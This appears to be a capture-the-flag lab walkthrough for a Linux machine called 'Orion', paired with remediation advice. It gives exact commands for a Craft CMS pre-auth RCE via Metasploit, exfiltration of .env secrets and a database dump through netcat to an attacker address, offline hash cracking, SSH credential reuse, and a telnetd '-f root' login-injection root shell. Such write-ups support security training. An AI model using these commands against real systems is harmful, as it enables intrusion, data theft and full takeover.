← all walkthroughs

Orion

Linux· Easy
owned
2026-07-07
time to own
17m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned orion.htb and found only SSH and an HTTP server. Browsing to the orion.htb virtual host exposed a Craft CMS installation running a version vulnerable to pre-authentication remote code execution (CVE-2025-32432). Exploiting this flaw via a Metasploit module and blind out-of-band exfiltration, my first extracted the application .env configuration file — revealing database credentials and confirming the site ran in development mode — then used those credentials to dump the CMS database and recover a bcrypt password hash.

Offline cracking produced the plaintext password '[REDACTED: recovered credential]', which had been reused as the SSH password for the local OS account 'adam', granting an interactive shell and the user flag. From that foothold, I discovered a telnet daemon bound to localhost only; the daemon was vulnerable to a classic BSD login argument-injection bypass in which supplying '-f root' as the telnet username causes the login binary to skip password verification, yielding an unauthenticated root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and virtual-host fingerprinting (T1046, T1592)
Identified open services and discovered the Craft CMS virtual host
A full TCP port scan found only SSH on port 22 and HTTP on port 80. An HTTP request to port 80 redirected to the virtual host orion.htb; adding that entry to /etc/hosts and requesting the site returned an X-Powered-By: Craft CMS response header and a login page branded 'Orion Telecom'. This confirmed the application platform and gave a version fingerprint to search against known vulnerabilities.
Nmap reported 22/tcp open ssh and 80/tcp open http (nginx 1.18.0 Ubuntu); curl with Host: orion.htb returned X-Powered-By: Craft CMS.
Exact commands 3
Full TCP port scan; confirms only ports 22 and 80 are open.
nmap -Pn -p- --min-rate 3000 -T4 $TARGET
Register the discovered virtual host for local DNS resolution.
echo "$TARGET orion.htb" | sudo tee -a /etc/hosts
Fingerprint the application platform from HTTP response headers.
curl -sS --max-time 10 http://orion.htb/admin/login -I | grep -i 'Powered-By\|Server'
2Vulnerability IdentificationPre-authentication PHP session-poisoning RCE (CVE-2025-32432, T1190)
Matched the Craft CMS version to a pre-authentication RCE (CVE-2025-32432)
The identified Craft CMS version fell within the range affected by CVE-2025-32432, a pre-authentication remote code execution flaw in the image-transform request handler. The vulnerability allows me to write my own data into a PHP session file via the transform endpoint and then cause the server to include and execute it — no credentials required. A Metasploit module was available, and an out-of-band callback from $TARGET to my listener confirmed the target was exploitable.
Outbound callback from $TARGET to my listener on $ATTACKER_IP:8002 confirmed remote code execution — 'listening on [any] 8002 ... Connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET] 47418'.
Exact commands 2
Locate the Metasploit module for CVE-2025-32432.
msfconsole -q -x "search cve:2025-32432"
Start a listener to confirm the out-of-band callback from the target before running the exploit.
nc -lvnp 8002
FixPatch Craft CMS to version 5.6.17 or later to close CVE-2025-32432Critical
WeaknessThe installed version of Craft CMS contained a pre-authentication remote code execution vulnerability (CVE-2025-32432) in the image-transform request handler. An unauthorised user could write externally controlled PHP into a server-side session file and trigger its execution with no credentials required.
FixUpgrade Craft CMS to 5.6.17 or later immediately using Composer: run 'composer update craftcms/cms' in the application root and verify the installed version afterward. Subscribe to Craft CMS security advisories to receive timely notification of future vulnerabilities. As a temporary measure while the update is staged, configure nginx or a WAF to block unauthenticated requests to the image-transform action endpoint (/actions/assets/generate-transform).
3ExploitationPre-auth RCE with out-of-band data exfiltration (CVE-2025-32432, T1059.004, T1041)
Exploited CVE-2025-32432 to exfiltrate the application .env configuration file
Because direct reverse shells were blocked by egress filtering, the Metasploit module was run with a php/exec payload using blind out-of-band exfiltration: each executed command piped its output through netcat to a listener on my machine. The first successful exfiltration retrieved the 718-byte /var/www/html/craft/.env file, which contained the database hostname, username, password, and database name, and confirmed the server was running with CRAFT_DEV_MODE=true and CRAFT_ALLOW_ADMIN_CHANGES=true — a development configuration left active in production.
Exact commands 2
Start listener to catch the exfiltrated .env content; run this before firing the module.
nc -lvnp 8003 > loot.env
Run the CVE-2025-32432 module and pipe .env content to my listener.
msfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; set RHOSTS $TARGET; set VHOST orion.htb; set TARGET 'PHP In-Memory'; set payload php/exec; set AutoCheck false; set ASSET_ID 1; set CMD 'cat /var/www/html/craft/.env | nc $ATTACKER_IP 8003'; exploit"
4Credential HarvestingDatabase credential abuse and out-of-band exfiltration (T1555, T1041)
Used the exfiltrated database credentials to dump the CMS user password hash
The .env file contained database credentials in plaintext. The same RCE channel ran mysqldump against the application database using those credentials, piping the SQL dump back to me via netcat. The dump included the Craft CMS users table containing a bcrypt-hashed account password.
Mysqldump piped via the RCE channel returned the orion database SQL dump; bcrypt hash ([REDACTED: password hash]) extracted from the users table.
Exact commands 3
New listener port for the database dump; start before firing the module.
nc -lvnp 8004 > loot.sql
Replace <DB_USER>, <DB_PASS>, and <DB_NAME> with values from loot.env.
msfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; set RHOSTS $TARGET; set VHOST orion.htb; set TARGET 'PHP In-Memory'; set payload php/exec; set AutoCheck false; set ASSET_ID 1; set CMD 'mysqldump -u<DB_USER> -p<DB_PASS> <DB_NAME> | nc $ATTACKER_IP 8004'; exploit"
Extract the bcrypt hash from the SQL dump into a file for cracking.
grep -oP '\$2y\$\d+\$[./A-Za-z0-9]+' loot.sql | head -1 > hash.txt
FixDisable development mode and restrict access to the .env configuration fileHigh
WeaknessThe application ran with CRAFT_DEV_MODE=true and CRAFT_ALLOW_ADMIN_CHANGES=true in a production environment, and the .env file — containing the database password and application security key — was readable by the web-server process. Any code execution on the server, however limited, immediately yielded all application secrets in a single file read.
FixSet CRAFT_DEV_MODE=false and CRAFT_ALLOW_ADMIN_CHANGES=false in the production environment. Restrict the .env file's OS permissions to owner-read-only (chmod 600) owned by the application service account, not the web-server user. Move long-lived secrets (database passwords, security keys) into a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and inject them as environment variables at runtime rather than storing them in a flat file under the web root.
5Credential AccessOffline password hash cracking (T1110.002)
Cracked the bcrypt hash offline to recover the plaintext password
The extracted bcrypt hash was submitted to John the Ripper against the rockyou.txt wordlist. Although bcrypt is deliberately slow, the password '[REDACTED: recovered credential]' appears in common wordlists and cracked successfully. Once the hash is in my hands, offline cracking requires no network access and can be parallelised across GPUs with no risk of detection.
John --format=bcrypt cracked the hash to the plaintext '[REDACTED: recovered credential]'.
Exact commands 2
Crack the extracted bcrypt hash using the rockyou wordlist.
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Display the recovered plaintext password after cracking completes.
john --show hash.txt
FixEnforce strong, unique passwords and disable SSH password authenticationHigh
WeaknessThe Craft CMS database stored a bcrypt-hashed password ('[REDACTED: recovered credential]') that appears in common wordlists and cracked offline in seconds. The same password was reused as the SSH password for the OS account 'adam', so a single database breach cascaded directly into an interactive server shell with no further effort.
FixRequire all passwords to be at least 16 characters and reject entries present in breached-password lists (use the haveibeenpwned Passwords API or an equivalent check at account creation and password change). Never share passwords between application accounts and OS or SSH accounts. Enforce SSH key-based authentication and set 'PasswordAuthentication no' in /etc/ssh/sshd_config to eliminate password-based SSH login entirely.
6FootholdCredential reuse across services (T1078.003)
Logged in to SSH as 'adam' using the cracked CMS password
The password '[REDACTED: recovered credential]' recovered from the CMS database was identical to the SSH password for the local OS account 'adam'. A single credential from the database breach cascaded directly into an interactive server shell. The user flag was read from adam's home directory.
Sshpass -p '[REDACTED: recovered credential]' ssh adam@$TARGET succeeded; id returned uid=1000(adam); user.txt captured.
Exact commands 2
Authenticate with password '[REDACTED: recovered credential]'; spawns an interactive shell as adam.
ssh adam@$TARGET
Read the user flag: <user.txt>
cat /home/adam/user.txt
7Internal DiscoveryInternal network service discovery (T1049)
Discovered a telnet daemon listening on localhost port 23
From adam's SSH session, a local socket listing revealed a telnet service bound exclusively to 127.0.0.1 on port 23, invisible from outside the machine. This internal service, running GNU inetutils telnetd, was the entry point for privilege escalation to root.
Ss -ltnp confirmed 127.0.0.1:23 in LISTEN state from within adam's session.
Exact commands 1
Run from within adam's SSH session; confirms telnetd bound to 127.0.0.1:23.
ss -ltnp | grep ':23'
8Privilege EscalationTelnetd BSD login argument injection / authentication bypass (CVE-2026-24061, T1548)
Bypassed telnetd authentication via login argument injection to obtain a root shell
BSD-derived telnetd passes the client-supplied username string directly to the system login binary. The login binary supports a '-f' flag meaning 'this user is already authenticated — skip password verification'. By supplying '-f root' as the telnet username, the login binary treated the session as pre-authenticated for root and opened a root shell without requesting a password. Commands were fed into the telnet session via pipelined echo statements with sleep delays to accommodate the interactive prompts. This yielded an unauthenticated root shell and the root flag.
Exact commands 2
Pipe commands into telnet with '-f root' as the login name; the login binary skips authentication and opens a root shell.
ssh -tt adam@$TARGET "(sleep 1; echo id; sleep 1; echo whoami; sleep 1; echo 'cat /root/root.txt'; sleep 1; echo exit) | telnet 127.0.0.1 -l '-f root'"
Read the root flag from within the root shell: <root.txt>
cat /root/root.txt
FixRemove the locally-bound telnet service to eliminate the unauthenticated root escalation pathCritical
WeaknessA telnet daemon (GNU inetutils telnetd) running on 127.0.0.1:23 passed the client-supplied username string directly to the system login binary without sanitization. The login binary's '-f' flag skips password verification when embedded in the username; any local user on the machine could obtain an unauthenticated root shell with a single command.
FixDisable and remove the telnet service immediately: run 'sudo systemctl disable --now telnetd' or remove the relevant entry from /etc/inetd.conf and restart inetd. Telnet transmits all data in cleartext and is obsolete; it has no place in a production environment even when bound to loopback. Apply all available OS vendor patches, including the fix for CVE-2026-24061, to harden the login binary against argument injection. If a local administrative console is genuinely required, replace it with an SSH listener restricted to the loopback interface (Match Address 127.0.0.1 block in sshd_config).

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Exposed services

22/tcp
80/tcp